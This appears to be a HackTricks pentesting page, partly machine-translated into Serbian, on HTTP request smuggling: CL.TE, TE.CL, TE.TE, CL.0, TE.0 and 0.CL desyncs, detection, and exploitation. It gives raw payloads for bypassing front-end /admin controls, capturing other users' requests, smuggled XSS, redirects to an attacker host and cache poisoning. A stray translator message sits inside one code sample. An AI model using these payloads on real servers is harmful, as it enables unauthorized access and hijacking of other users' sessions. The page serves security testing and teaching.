44 KiB
Raw Blame History

HTTP Request Smuggling / HTTP Desync Attack

{{#include ../../banners/hacktricks-training.md}}

Šta je

Ova ranjivost se javlja kada postoji desyncronization između front-end proxies i back-end servera što omogućava attacker-u da send-uje HTTP request koji će interpreted biti kao single request od strane front-end proxies (load balance/reverse-proxy), a as 2 request od strane back-end servera.
To dozvoljava korisniku da modify the next request that arrives to the back-end server after his.

Teorija

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realnost

The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header i Back-end server process the other, što izaziva desyncronization između ta dva sistema.
Ovo može biti veoma kritično jer an attacker will be able to send one request ka reverse proxy-ju koji će interpreted od strane back-end servera as 2 different requests. Danger ove tehnike leži u tome što će back-end server tretirati 2nd request injected kao da je came from the next client, dok će real request tog klijenta postati part od injected request-a.

Posebnosti

Zapamtite da u HTTP-u karakter novog reda se sastoji od 2 bajta:

  • Content-Length: Ovaj header koristi decimal number da označi number of bytes tela zahteva. Body se očekuje da se završi na poslednjem karakteru, a new line is not needed in the end of the request.
  • Transfer-Encoding: Ovaj header koristi u body-u hexadecimal number da označi number of bytes narednog chunk-a. Chunk mora end-ovati sa new line ali taj new line nije uračunat u indikator dužine. Ovaj način prenosa mora da se završi sa chunk-om veličine 0 koji je praćen sa 2 new lines: 0
  • Connection: Iz ličnog iskustva, preporučuje se korišćenje Connection: keep-alive na prvom request-u pri pokušaju request Smuggling-a.

Visible - Hidden

Glavni problem sa HTTP/1.1 je što svi zahtevi idu kroz isti TCP socket, pa ako postoji razlika u načinu na koji dva sistema primaju zahteve, moguće je poslati jedan request koji će biti tretiran kao dva različita (ili više) zahteva od strane finalnog backend-a (ili čak posredničkih sistema).

This blog post predlaže nove načine za otkrivanje desync napada na sistem koji neće biti detektovani od strane WAF-ova. Radi toga predstavlja Visible vs Hidden ponašanja. Cilj je pokušati pronaći discrepancije u odgovoru koristeći tehnike koje bi mogle izazvati desynce bez stvarnog eksploatisanja.

Na primer, slanje zahteva sa normalnim Host header-om i sa " host" header-om — ako backend odbaci taj zahtev (možda zato što je vrednost " host" netačna) to može značiti da front-end nije uzeo u obzir " host" header dok je finalni backend koristio tu vrednost, što visoko verovatno ukazuje na desync između front-end-a i backend-a.

Ovo bi bila Hidden-Visible discrepancy.

Ako je front-end uzeo u obzir " host" header ali backend nije, to bi mogao biti Visible-Hidden slučaj.

Na primer, ovo je omogućilo otkrivanje desync-ova između AWS ALB kao front-end-a i IIS kao backend-a. Kada je poslat "Host: foo/bar", ALB je vratio 400, Server; awselb/2.0, ali kada je poslat "Host : foo/bar", vratio je 400, Server: Microsoft-HTTPAPI/2.0, što ukazuje da backend šalje odgovor. Ovo je Hidden-Visible (H-V) situacija.

Napomena: ovo nije automatski ispravljeno u AWS-u, ali može se prevenirati postavljanjem routing.http.drop_invalid_header_fields.enabled i routing.http.desync_mitigation_mode = strictest.

Osnovni primeri

Tip

Kada pokušavate da eksploatišete ovo sa Burp Suite-om, disable Update Content-Length and Normalize HTTP/1 line endings u repeater-u zato što neki gadgets zloupotrebljavaju newlines, carriage returns i malformed content-lengths.

HTTP request smuggling napadi se grade slanjem dvosmislenih zahteva koji iskorišćavaju discrepancije u načinu na koji front-end i back-end serveri interpretiraju Content-Length (CL) i Transfer-Encoding (TE) header-e. Ovi napadi se pojavljuju u različitim oblicima, pretežno kao CL.TE, TE.CL, i TE.TE. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta ovih header-a između front-end i back-end servera. Ranjivosti nastaju jer serveri obrađuju isti zahtev na različite načine, što vodi do neočekivanih i potencijalno malicioznih posledica.

Osnovni primeri tipova ranjivosti

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

Uz prethodnu tabelu treba dodati tehniku TE.0, slično tehnici CL.0 ali koristeći Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Procesira zahtev na osnovu Content-Length header-a.

  • Back-End (TE): Procesira zahtev na osnovu Transfer-Encoding header-a.

  • Attack Scenario:

  • Napadač pošalje zahtev gde vrednost Content-Length header-a ne odgovara stvarnoj dužini sadržaja.

  • Front-end server prosleđuje ceo zahtev ka back-end-u bazirano na vrednosti Content-Length.

  • Back-end server obrađuje zahtev kao chunked zbog Transfer-Encoding: chunked header-a, interpretirajući preostale podatke kao poseban, naknadni zahtev.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Procesira zahtev na osnovu Transfer-Encoding header-a.

  • Back-End (CL): Procesira zahtev na osnovu Content-Length header-a.

  • Attack Scenario:

  • Napadač pošalje chunked zahtev gde veličina chunk-a (7b) i stvarna dužina sadržaja (Content-Length: 4) nisu usklađene.

  • Front-end server, poštujući Transfer-Encoding, prosleđuje ceo zahtev ka back-end-u.

  • Back-end server, poštujući Content-Length, obrađuje samo početni deo zahteva (7b bajtova), ostavljajući ostatak kao deo nenamernog narednog zahteva.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Oba podržavaju Transfer-Encoding, ali jedan može biti prevaren da ga ignoriše putem obfuskacije.

  • Attack Scenario:

  • Napadač pošalje zahtev sa obfuskovanim Transfer-Encoding header-ima.

  • U zavisnosti od toga koji server (front-end ili back-end) ne prepozna obfuskaciju, može se eksploatisati CL.TE ili TE.CL ranjivost.

  • Nepostradati deo zahteva, kako ga vidi jedan od servera, postaje deo narednog zahteva, što dovodi do smuggling-a.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Oba servera procesuiraju zahtev isključivo na osnovu Content-Length header-a.
  • Ovaj scenario obično ne vodi ka smuggling-u, jer postoji usklađenost u načinu na koji oba servera interpretiraju dužinu zahteva.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Odnosi se na scenarije gde Content-Length header postoji i ima vrednost različitu od nule, što označava da telo zahteva ima sadržaj. Back-end ignoriše Content-Length header (tretira ga kao 0), ali front-end ga parsira.
  • Ovo je važno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Kao prethodni, ali koristeći TE.
  • Tehnika reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenarij

U 0.CL scenariju request se šalje sa Content-Length kao:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

A front-end ne uzima u obzir Content-Length, pa pošalje samo prvi zahtev ka backendu (do 7 u primeru). Međutim, backend vidi Content-Length i čeka telo koje nikada ne stigne jer je front-end već u čekanju odgovora.

Međutim, ako postoji zahtev koji je moguće poslati backendu i na koji se odgovori pre nego što stigne telo zahteva, ovaj zastoj se neće dogoditi. Na primer, u IIS ovo se dešava kada se šalju zahtevi za zabranjene nazive kao što je /con (check the documentation), na taj način početni zahtev će biti odgovorен direktno, a drugi zahtev će sadržati zahtev žrtve kao:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Ovo je korisno za izazivanje desync-a, ali do sada nije imalo nikakav uticaj.

Međutim, post nudi rešenje za ovo pretvaranjem 0.CL attack into a CL.0 with a double desync.

Rušenje web servera

Ova tehnika je takođe korisna u scenarijima gde je moguće prekinuti rad web servera dok se čitaju početni HTTP podaci ali bez zatvaranja konekcije. Na taj način, telo HTTP zahteva biće smatrano sledećim HTTP zahtevom.

Na primer, kako je objašnjeno u this writeup, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to će server srušiti. Međutim, ako je HTTP konekcija kreirana sa headerom Connection: keep-alive, telo zahteva neće biti pročitano i konekcija će ostati otvorena, tako da će se telo zahteva tretirati kao sledeći HTTP zahtev.

Forsiranje preko hop-by-hop zaglavlja

Zloupotrebom hop-by-hop zaglavlja možete naterati proxy da obriše zaglavlje Content-Length ili Transfer-Encoding, čime postaje moguće iskoristiti HTTP request smuggling.

Connection: Content-Length

For više informacija o hop-by-hop headers pogledajte:

{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}

Pronalaženje HTTP Request Smuggling

Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika zasnovanih na vremenu, koje se oslanjaju na posmatranje koliko vremena serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje ovakvih ranjivosti:

Pronalaženje CL.TE ranjivosti korišćenjem tehnika zasnovanih na vremenu

  • Metoda:

  • Pošaljite zahtev koji će, ukoliko je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Posmatranje:

  • Front-end server obrađuje zahtev na osnovu Content-Length i prekida poruku prerano.

  • Back-end server, očekujući chunked poruku, čeka sledeći chunk koji nikada ne stigne, što uzrokuje kašnjenje.

  • Indikatori:

  • Timeouti ili duga kašnjenja u odgovoru.

  • Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.

Pronalaženje TE.CL ranjivosti korišćenjem tehnika zasnovanih na vremenu

  • Metoda:

  • Pošaljite zahtev koji će, ukoliko je aplikacija ranjiva, naterati back-end server da čeka dodatne podatke.

  • Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Posmatranje:
  • Front-end server obrađuje zahtev na osnovu Transfer-Encoding i prosleđuje celu poruku.
  • Back-end server, očekujući poruku na osnovu Content-Length, čeka dodatne podatke koji nikada ne stignu, što izaziva kašnjenje.

Druge metode za pronalaženje ranjivosti

  • Differential Response Analysis:
  • Pošaljite blago promenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
  • Korišćenje automatizovanih alata:
  • Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
  • Content-Length Variance Tests:
  • Pošaljite zahteve sa različitim vrednostima Content-Length koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takva neslaganja.
  • Transfer-Encoding Variance Tests:
  • Pošaljite zahteve sa obfuskiranim ili malformiranim Transfer-Encoding headerima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.

Zaglavlje Expect: 100-continue

Proverite kako ovo zaglavlje može pomoći u iskorišćavanju http desync-a u:

{{#ref}} ../special-http-headers.md {{#endref}}

Testiranje ranjivosti HTTP Request Smuggling

Nakon potvrde efikasnosti tehnika zasnovanih na vremenu, ključno je proveriti da li se zahtevi klijenta mogu manipulisati. Jednostavan metod je pokušaj poisoning vaših zahteva — na primer, naterati zahtev ka / da vrati 404 odgovor. Primeri CL.TE i TE.CL ranije diskutovani u Basic Examples pokazuju kako poisonovati klijentov zahtev da izazove 404 odgovor, iako klijent pokušava da pristupi drugom resursu.

Ključna razmatranja

Kada testirate ranjivosti request smuggling ometanjem drugih zahteva, imajte na umu:

  • Odvojene mrežne konekcije: "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
  • Konzistentan URL i parametri: Težite da koristite identične URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da će oba zahteva obrađivati isti server, što je preduslov za uspešan attack.
  • Vremenski uslovi i trke: "normal" zahtev, koji služi za detekciju interferencije od "attack" zahteva, takmiči se sa ostalim istovremenim zahtevima aplikacije. Zato pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
  • Izazovi load balancera: Front-end serveri koji deluju kao load balanceri mogu distribuirati zahteve na različite back-end sisteme. Ako se "attack" i "normal" zahtevi nađu na različitim sistemima, attack neće uspeti. Ovaj aspekt load balancing-a može zahtevati više pokušaja da se potvrdi ranjivost.
  • Neželjeni uticaj na korisnike: Ako vaš attack nenamerno utiče na zahtev drugog korisnika (ne "normal" zahteva koji ste poslali radi detekcije), to ukazuje da je vaš attack uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.

Razlikovanje HTTP/1.1 pipelining artefakata od pravog request smuggling-a

Ponovno korišćenje konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling"-a u alatima za testiranje koji šalju više zahteva preko istog soketa. Naučite da razlikujete bezopasne artefakte sa klijentske strane od stvarnog desync-a na serverskoj strani.

Zašto pipelining stvara klasične lažne pozitivne rezultate

HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom toku. U pipeliningu klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u istom redosledu. Uobičajen lažno-pozitivan slučaj je ponovno slanje malformiranog CL.0-style payload-a dva puta na jednoj konekciji:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Niste priložili sadržaj. Pošaljite tekst fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Ako server ignoriše malformirani Content_Length, ne postoji FE↔BE desync. Sa reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: nema. Samo ste desynced svoj client od framinga servera.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • U Burp Intruder/Repeateru, isključite HTTP/1 reuse i izbegavajte "Send group in sequence".
  • U Turbo Intruderu, postavite requestsPerConnection=1 i pipeline=False.
  • Ako ponašanje nestane, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful targetima ili client-side desync.
  1. HTTP/2 nested-response check
  • Pošaljite HTTP/2 zahtev. Ako response body sadrži kompletnu nested HTTP/1 response, dokazali ste backend parsing/desync bug umesto čistog client artefakta.
  1. Partial-requests probe for connection-locked front-ends
  • Neki FE-ovi ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje prati client reuse.
  • Pogledajte PortSwigger "BrowserPowered Desync Attacks" za connection-locked tehniku.
  1. State probes
  • Tražite razlike između prvog i narednih zahteva na istoj TCP konekciji (first-request routing/validation).
  • Burp "HTTP Request Smuggler" uključuje connectionstate probe koji ovo automatizuje.
  1. Visualize the wire
  • Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate concatenation i message framing dok eksperimentišete sa reuse i partial requests.

Connectionlocked request smuggling (reuse-required)

Neki front-endovi reuse-uju upstream konekciju samo kada klijent reuse-uje svoju. Stvarna smuggling eksploatacija postoji, ali zavisi od client-side reuse. Da razlikujete i dokažete uticaj:

  • Prove the server-side bug
  • Koristite HTTP/2 nested-response check, ili
  • Koristite partial-requests da pokažete da FE reuse-uje upstream samo kada to klijent čini.
  • Pokažite stvarni uticaj čak i ako je direktna cross-user socket zloupotreba blokirana:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connectionstate attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Clientside desync constraints

Ako ciljate browser-powered/client-side desync, zlonamerni zahtev mora biti poslat iz browser-a cross-origin. Header obfuscation tricks neće raditi. Fokusirajte se na primitive dostupne kroz navigation/fetch, pa zatim pivotujte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili keširaju odgovore.

For background and end-to-end workflows:

{{#ref}} browser-http-request-smuggling.md {{#endref}}

Tooling to help decide

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Ponekad front-end proxyji primenjuju sigurnosne mere i pregledaju dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, što omogućava neovlašćen pristup zaštićenim endpoint-ima. Na primer, pristupanje /admin može biti zabranjeno spolja, a front-end proxy aktivno blokira takve pokušaje. Ipak, taj proxy može zanemariti inspekciju embedded requests unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.

Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end sigurnosnih kontrola, posebno ciljajući putanju /admin koja je obično zaštićena front-end proxyjem:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

U CL.TE napadu, zaglavlje Content-Length se koristi za početni zahtev, dok ugrađeni naredni zahtev koristi zaglavlje Transfer-Encoding: chunked. front-end proxy obrađuje početni POST zahtev, ali ne uspeva da pregleda ugrađeni GET /admin zahtev, što omogućava neovlašćen pristup putanji /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Suprotno tome, u TE.CL napadu, inicijalni POST zahtev koristi Transfer-Encoding: chunked, a naknadni ugrađeni zahtev se obrađuje na osnovu Content-Length zaglavlja. Slično CL.TE napadu, front-end proxy zanemaruje smuglovani GET /admin zahtev, nesvesno omogućavajući pristup ograničenom /admin putu.

Otkrivanje prepisivanja zahteva na front-endu

Aplikacije često koriste front-end server da izmenjuju dolazne zahteve pre nego što ih proslede na back-end server. Tipična izmena uključuje dodavanje zaglavlja, poput X-Forwarded-For: <IP of the client>, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za zaobilaženje zaštita ili otkrivanje skrivenih informacija ili krajnjih tačaka.

Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end reflektuje u odgovoru. Zatim sastavite zahtev, koristeći taj parametar poslednjim, slično sledećem:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

U ovoj strukturi, naredne komponente zahteva se dodaju nakon search=, koji je parametar reflektovan u odgovoru. Ova refleksija će otkriti zaglavlja narednog zahteva.

Važno je uskladiti header Content-Length ugneždenog zahteva sa stvarnom dužinom sadržaja. Početak sa malom vrednošću i postepeno povećavanje je preporučljivo, jer previše niska vrednost skraćuje reflektovane podatke, dok previše visoka vrednost može prouzrokovati grešku zahteva.

Tehnika je primenljiva i u kontekstu TE.CL ranjivosti, ali zahtev bi trebalo da se završi sa search=\r\n0. Bez obzira na karaktere novog reda, vrednosti će se dodavati u search parametar.

Ova metoda prvenstveno služi da se razumeju izmene zahteva koje pravi front-end proxy, u suštini vršeći samoinicijativnu istragu.

Presretanje zahteva drugih korisnika

Moguće je presresti zahteve narednog korisnika tako što se tokom POST operacije kao vrednost parametra doda specifičan zahtev. Evo kako se to može izvesti:

Dodavanjem sledećeg zahteva kao vrednosti parametra, možete uskladištiti zahtev narednog klijenta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

U ovom scenariju, comment parameter služi za čuvanje sadržaja iz sekcije komentara objave na javno dostupnoj stranici. Shodno tome, sadržaj narednog zahteva pojaviće se kao komentar.

Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimitera parametra koji se koristi u smuggled request. Za URL-encoded form submissions, taj delimiter je karakter &. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom &, koji može biti čak i deo query stringa.

Vredno je napomenuti i da je ovaj pristup izvodljiv i kod TE.CL ranjivosti. U takvim slučajevima zahtev treba da se završi sa search=\r\n0. Bez obzira na znakove novog reda, vrednosti će biti dodatе parametru search.

Korišćenje HTTP request smuggling za iskorišćavanje reflected XSS

HTTP Request Smuggling može se iskoristiti za napad na veb stranice ranjive na Reflected XSS, nudeći značajne prednosti:

  • Interakcija sa ciljnim korisnicima nije potrebna.
  • Dozvoljava iskorišćavanje XSS-a u delovima zahteva koji su obično nedostižni, poput HTTP request headers.

U scenarijima gde je veb-sajt podložan Reflected XSS preko User-Agent header-a, sledeći payload pokazuje kako iskoristiti ovu ranjivost:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:

  1. Pokretanjem POST zahteva, naizgled tipičnog, sa zaglavljem Transfer-Encoding: chunked koje označava početak smuggling-a.
  2. Zatim 0, koji označava kraj chunked message body.
  3. Potom se ubacuje smuggled GET zahtev, gde je User-Agent header injektovan skriptom <script>alert(1)</script>, što pokreće XSS kada server obradi ovaj naredni zahtev.

Manipulišući User-Agent kroz smuggling, payload zaobilazi normalna ograničenja zahteva i tako iskorišćava Reflected XSS ranjivost na nestandardan ali efikasan način.

HTTP/0.9

Caution

U slučaju da se korisnički sadržaj reflektuje u odgovoru sa Content-type kao što je text/plain, što sprečava izvršenje XSS. Ako server podržava HTTP/0.9 možda je moguće zaobići ovo!

Verzija HTTP/0.9 je postojala pre 1.0 i koristi isključivo GET zahteve i ne odgovara sa headers, već samo body.

U this writeup, ovo je zloupotrebljeno koristeći request smuggling i vulnerable endpoint that will reply with the input of the user da bi se smuglovao zahtev sa HTTP/0.9. Parametar koji je reflektovan u odgovoru sadržao je fake HTTP/1.1 response (with headers and body) pa će odgovor sadržati validan izvršni JS kod sa Content-Type text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Aplicacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz Host header`-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez trailing slash-a rezultira preusmeravanjem da se uključi slash:

GET /home HTTP/1.1
Host: normal-website.com

Rezultira u:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Iako naizgled bezopasno, ovo ponašanje može biti iskorišćeno pomoću HTTP request smuggling da preusmeri korisnike na eksterni sajt. Na primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Rezultira u:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

U ovom scenariju zahtev korisnika za JavaScript fajlom je otet. Napadač može potencijalno kompromitovati korisnika tako što će poslati maliciozni JavaScript u odgovoru.

Eksploatacija Web Cache Poisoning putem HTTP Request Smuggling

Web cache poisoning može biti izveden ako bilo koja komponenta front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom serverovog odgovora moguće je poison the cache.

Ranije smo videli kako se odgovori servera mogu izmeniti da vrate 404 grešku (pogledajte Basic Examples). Na sličan način moguće je prevariti server da u odgovoru dostavi sadržaj /index.html na zahtev za /static/include.js. Kao posledica, sadržaj /static/include.js biva zamenjen u kešu sadržajem od /index.html, čime /static/include.js postaje nedostupan korisnicima i potencijalno dovodi do Denial of Service (DoS).

Ova tehnika postaje posebno snažna ako se otkrije Open Redirect vulnerability ili ako postoji on-site redirect to an open redirect. Takve ranjivosti mogu se iskoristiti da zamene keširani sadržaj /static/include.js skriptom pod kontrolom napadača, suštinski omogućavajući masovni Cross-Site Scripting (XSS) napad na sve klijente koji zahtevaju ažurirani /static/include.js.

Ispod je ilustracija iskorišćavanja cache poisoning combined with an on-site redirect to open redirect. Cilj je izmeniti keširani sadržaj /static/include.js da servira JavaScript kod pod kontrolom napadača:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Obratite pažnju na ugrađeni zahtev koji cilja /post/next?postId=3. Ovaj zahtev će biti preusmeren na /post?postId=4, koristeći Host header value da odredi domen. Menjanjem Host header-a, napadač može preusmeriti zahtev na svoj domen (on-site redirect to open redirect).

Nakon uspešnog socket poisoning, treba inicirati GET request za /static/include.js. Taj zahtev će biti kompromitovan prethodnim on-site redirect to open redirect zahtevom i preuzeće sadržaj skripta kojim upravlja napadač.

Nakon toga, svaki zahtev za /static/include.js poslužiće keširani sadržaj napadačevog skripta, efektivno pokrećući široko rasprostranjen XSS napad.

Korišćenje HTTP request smuggling za izvođenje web cache deception

Koja je razlika između web cache poisoning i web cache deception?

  • U web cache poisoning, napadač navodi aplikaciju da sačuva neki maliciozni sadržaj u kešu, i taj sadržaj se iz keša posluži drugim korisnicima aplikacije.
  • U web cache deception, napadač navodi aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima taj sadržaj iz keša.

Napadač kreira smuggled request koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

